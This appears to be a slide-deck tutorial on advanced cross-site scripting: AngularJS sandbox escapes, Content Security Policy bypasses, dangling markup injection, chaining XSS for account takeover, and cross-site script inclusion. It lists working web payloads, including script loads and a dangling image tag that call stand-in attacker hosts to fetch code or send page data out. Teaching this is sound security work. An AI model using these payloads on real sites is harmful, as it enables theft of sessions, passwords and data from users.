Ultimate XSS advanced guide

BY UNCLE RAT

Agenda

- AngularJS sandbox
- CSP
- Dangling markup injection
- Chaining XSS
- XXSi

AngularJS sandbox

AngularJS sandbox – What is it?

- AngularJS is front-end templating engine
- AngularJS Sandbox is a technique that doesn't allow access to dangerous objects
  - I.e. Window
  - I.e. document
  - …

AngularJS sandbox – What is it?

- Bypassing sandbox used to be very hard
- In AngularJS 1.6 researchers found several ways
- Was eventually removed in 1.6
- Many legacy applications still run < 1.6

AngularJS sandbox – How does it work?

- Parses an expression
- Rewrites the JS
- Checks if rewritten code is safe
  - I.E. EnsureSafeObject()

AngularJS sandbox – How can we escape?

- We need to trick the parser into thinking our JS is safe
- Most famous escape use modified charAt() function
- `'a'.constructor.prototype.charAt=[].join`

AngularJS sandbox – How can we escape?

- `'a'.constructor.prototype.charAt=[].join`
  - Overwrites the charAt() function using [].join
  - Causes charAt() to return ALL characters to it
  - Due to logic of isIndent() from angularJS it will compare what it thinks is single char to multiple chars
  - This will make isIndent() always return true

AngularJS sandbox – How can we escape?

```
isIdent= function(ch){
return ('a' <= ch && ch <= 'z' ||
'A' <= ch && ch <= 'Z' ||
'_' === ch || ch === '$');
}
isIdent('x9=9a9l9e9r9t9(919)')
```

- `'a'.constructor.prototype.charAt=[].join`
  - Now that isIndent() always returns true, we can insert our javascript code
  - $eval('x=alert(1)')
    - This is angulars eval function
    - You can see by the $
    - Overwriting charAt only works when sandboxed code is executed
    - The angularJS eval forces the sandbox code to run

Dangling markup injection

CSP – What is it?

- Content security policy
- Browser mechanism aimed to prevent XSS
- Works by only allowing content from certain sources
- Content-Security-Policy header

CSP – How it works

- Content-Security-Policy: script-src 'self'
  - Only allows originating JS from own host adress
- Content-Security-Policy: script-src https://scripts.normal-website.com
  - Allows executing of scripts from a certain source website

CSP – How it works

- Besides script sources there's Nonce
  - Randomly generated number on server
  - Value must be in HTML tag that loads script
- There's also hashes
  - Hash of the JS contents is being made

CSP – How do we bypass it?

- Do your own research as well, there's many techniques
- Policy injection
- Stealing the nonce with DOM clubbering
- Lack of object-src and default-src
- Wildcard
- 'unsafe-eval'
- 'unsafe-inline'
- ...

CSP bypass– Lack of object-src and default-src

- Content-Security-Policy: script-src https://google.com 'unsafe-inline' https://*;
- child-src 'none';
- report-uri /Report-parsing-url;

- Working payload: `"/><script>alert(1);</script>`

https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass

CSP bypass– Unsafe eval

- Content-Security-Policy: script-src https://google.com 'unsafe-eval' data: http://*;
- child-src 'none';
- report-uri /Report-parsing-url;

- Working payload: `<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>`

https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass

CSP bypass– Wildcard

- Content-Security-Policy: script-src 'self' https://google.com https: data *;
- child-src 'none';
- report-uri /Report-parsing-url;

- Working payload: `"/>'><script src=https://attacker.com/evil.js></script>`

https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass

CSP bypass– Lack of object-src and default-src

https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass

- Content-Security-Policy: script-src 'self'
- report-uri /Report-parsing-url;

- Working payloads:
- `<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">  </object>`
- `">'><object type="application/x-shockwave-flash" data='https://ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\"}))))}catch(e){alert(1337)}//'><param name="AllowScriptAccess" value="always"></object>`

Dangling markup injection

Dangling markup injection – NOT XSS

- Sometimes full XSS is not possible
- Dangling markup to the rescue!
- Technique to steal data that is on the page

Dangling markup injection – NOT XSS

- <input type="text" name="input" value="CONTROLLABLE DATA HERE
  - We might be able to insert "> here
  - We might not be able to perform full XSS due to filtering
  - But what if we do "><img src='//attacker-website.com?
    - Notice how tag has no closing '> (dangling markup)
    - This will create an image tag
    - Webpage will complete HTML until it finds ' in source code
    - Image source will try to call upon our webserver with HTML code up until '
    - Our webserver access logs will contain entry for call with data as get PARAM

Chaining XSS

Chaining XSS

- XSS to steal cookies
  - The victim might not be logged in.
  - Many applications hide their cookies from JavaScript using the `HttpOnly` flag.
  - Sessions might be locked to additional factors like the user's IP address.
  - The session might time out before you're able to hijack it.

Chaining XSS

- XSS to steal passwords
  - If user has autofill enabled
  - Password will be filled in
  - We can create password capture tool in JS
  - Only works if victim uses autofill

Chaining XSS

- XSS to steal CSRF token
- Do ANYTHING you can do with JS
  - Like a post
  - Change an email adress
    - Request password reset > account takeover
  - Delete all the users posts
  - Change the default adress and buy an item

XXSi

XXSi – What is it?

- Sometimes JS contains sensitive information
- Usually JS can only be called when authenticated
- As a regular user we can't see that sensitve information
- So how do we get that sentive information?

XXSi – What is it?

- When using <script> tag, SOP doesn't apply
- Scripts have to be able to be cross-domain
- We can abuse this to include the JS file with secrets in it

XXSi – How to abuse it

- If information is in global JS file
  - <script src="https://www.vulnerable-domain.tld/script.js"></script>
  - <script>
    alert(JSON.stringify(confidential_keys[0]));
    </script>
  - First grab the script and the read the data with regex, using keywords and json stringify,...

XXSi – How to abuse it

- Dynamic based JS
  - Sometimes JS can be dynamically generated
  - Might contain sensitive info when authenticated
  - To know, request JS with and without cookies
    - Authenticated request will look different
  - If the extra JS code is in global variable we can use code from our previous example
  - Else we will need to overwrite the executed function

And many more possibilities…